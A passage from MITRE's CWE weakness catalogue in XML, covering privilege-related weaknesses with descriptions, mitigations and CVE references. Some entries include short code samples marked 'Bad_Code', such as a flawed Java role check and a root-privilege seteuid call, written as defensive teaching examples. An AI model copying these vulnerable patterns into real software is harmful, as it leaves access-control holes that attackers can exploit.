					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that password aging is limited so that there is a defined
							maximum age for passwords and so that the user is notified several times
							leading up to the password expiration.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>A common example is not having a system to terminate old employee
						accounts.</Intro_Text>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Not having a system for enforcing the changing of passwords every
						certain period.</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 19: Use of Weak Password-Based Systems." Page
						279</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Allowing password aging</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>16</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>49</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>55</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>70</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Allowing Unchecked Password
						Aging</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="266" Name="Incorrect Privilege Assignment" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A product incorrectly assigns a privilege to a particular
					actor, creating an unintended sphere of control for that
					actor.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>286</Relationship_Target_ID>
					          <!--Incorrect User Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A user can access restricted functionality and/or sensitive
							information that may include administrative functionality and user
							accounts.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.266.1]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-97">
					          <Intro_Text>Evidence of privilege change:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>seteuid(0);</Code>
							              <Comment>/* do some stuff */</Comment>
							              <Code>seteuid(getuid());</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>AccessController.doPrivileged(new PrivilegedAction() {</Code>
							              <Block>
								                <Code>public Object run() {</Code>
								                <Block>
									                  <Comment>// privileged code goes here, for example:</Comment>
									                  <Code>System.loadLibrary("awt");</Code>
									                  <Code>return null;</Code>
									                  <Comment>// nothing to return</Comment>
								                </Block>
								                <Code>}</Code>
							              </Block>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1193</Observed_Example_Reference>
					          <Observed_Example_Description>untrusted user placed in unix "wheel"
						group</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2741</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows users to grant themselves certain
						rights that can be used to escalate
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2496</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses group ID of a user instead of the
						group, causing it to run with different privileges. This is resultant from
						some other unknown issue.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0274</Observed_Example_Reference>
					          <Observed_Example_Description>Product mistakenly assigns a particular status to
						an entity, leading to increased privileges.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="31" Local_Reference_ID="R.266.1">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Incorrect Privilege Assignment</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow privileged blocks to leak sensitive information
						across a trust boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow tainted variables in privileged
						blocks</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="267" Name="Privilege Defined With Unsafe Actions" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>A particular privilege, role, capability, or right can be used
					to perform unsafe actions that were not intended, even when it is assigned to
					the correct entity.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This overlaps authorization and access control problems.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>Note: there are 2 separate sub-categories here:</Text>
					          <Block>
						            <Text>- privilege incorrectly allows entities to perform certain
							actions</Text>
						            <Text>- object is incorrectly accessible to entities with a given
							privilege</Text>
					          </Block>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A user can access restricted functionality and/or sensitive
							information that may include administrative functionality and user
							accounts.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.267.1]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> This code intends to allow only Administrators to print debug
						information about a system. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public enum Roles {</Code>
							              <Block>
								                <Code>ADMIN,USER,GUEST</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public void printDebugInfo(User requestingUser){</Code>
							              <Block>
								                <Code>if(isAuthenticated(requestingUser)){</Code>
								                <Block>
									                  <Code>switch(requestingUser.role){</Code>
									                  <Block>
										                    <Code>case GUEST:</Code>
										                    <Block>
											                      <Code>System.out.println("You are not authorized to
												perform this command");</Code>
											                      <Code>break;</Code>
										                    </Block>
										                    <Code>default:</Code>
										                    <Block>
											                      <Code>System.out.println(currentDebugState());</Code>
											                      <Code>break;</Code>
										                    </Block>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>System.out.println("You must be logged in to perform this
										command");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>While the intention was to only allow Administrators to print the
							debug information, the code as written only excludes those the with the
							role of "GUEST". Someone with the role of "ADMIN" or "USER" will be
							allowed access, which goes against the original intent. An attacker may
							be able to use this debug information to craft an attack on the
							system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1981</Observed_Example_Reference>
					          <Observed_Example_Description>Roles have access to dangerous procedures
						(Accessible entities).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1671</Observed_Example_Reference>
					          <Observed_Example_Description>Untrusted object/method gets access to clipboard
						(Accessible entities).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2204</Observed_Example_Reference>
					          <Observed_Example_Description>Gain privileges using functions/tags that should
						be restricted (Accessible entities).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0315</Observed_Example_Reference>
					          <Observed_Example_Description>Traceroute program allows unprivileged users to
						modify source address of packet (Accessible
						entities).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0380</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass domain restrictions using a particular file
						that references unsafe URI schemes (Accessible
						entities).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1154</Observed_Example_Reference>
					          <Observed_Example_Description>Script does not restrict access to an update
						command, leading to resultant disk consumption and filled error logs
						(Accessible entities).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1145</Observed_Example_Reference>
					          <Observed_Example_Description>"public" database user can use stored procedure to
						modify data controlled by the database owner (Unsafe privileged
						actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0506</Observed_Example_Reference>
					          <Observed_Example_Description>User with capability can prevent setuid program
						from dropping privileges (Unsafe privileged
						actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2042</Observed_Example_Reference>
					          <Observed_Example_Description>Allows attachment to and modification of
						privileged processes (Unsafe privileged
						actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1212</Observed_Example_Reference>
					          <Observed_Example_Description>User with privilege can edit raw underlying object
						using unprotected method (Unsafe privileged
						actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1742</Observed_Example_Reference>
					          <Observed_Example_Description>Inappropriate actions allowed by a particular
						role(Unsafe privileged actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1480</Observed_Example_Reference>
					          <Observed_Example_Description>Untrusted entity allowed to access the system
						clipboard (Unsafe privileged actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1551</Observed_Example_Reference>
					          <Observed_Example_Description>Extra Linux capability allows bypass of
						system-specified restriction (Unsafe privileged
						actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1166</Observed_Example_Reference>
					          <Observed_Example_Description>User with debugging rights can read entire process
						(Unsafe privileged actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1816</Observed_Example_Reference>
					          <Observed_Example_Description>Non-root admins can add themselves or others to
						the root admin group (Unsafe privileged
						actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2173</Observed_Example_Reference>
					          <Observed_Example_Description>Users can change certain properties of objects to
						perform otherwise unauthorized actions (Unsafe privileged
						actions).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2027</Observed_Example_Reference>
					          <Observed_Example_Description>Certain debugging commands not restricted to just
						the administrator, allowing registry modification and infoleak (Unsafe
						privileged actions).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="31" Local_Reference_ID="R.267.1">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unsafe Privilege</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>58</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unsafe
						Privilege</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="268" Name="Privilege Chaining" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>Two distinct privileges, roles, capabilities, or rights can be
					combined in a way that allows an entity to perform unsafe actions that would not
					be allowed without that combination.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>723</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A2 - Broken Access Control-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>There is some conceptual overlap with Unsafe Privilege.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>A user can be given or gain access rights of another user. This can
							give the user unauthorized access to sensitive information including the
							access information of another user.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-49">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Consider following the principle of separation of privilege. Require
							multiple conditions to be met before permitting access to a system
							resource.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
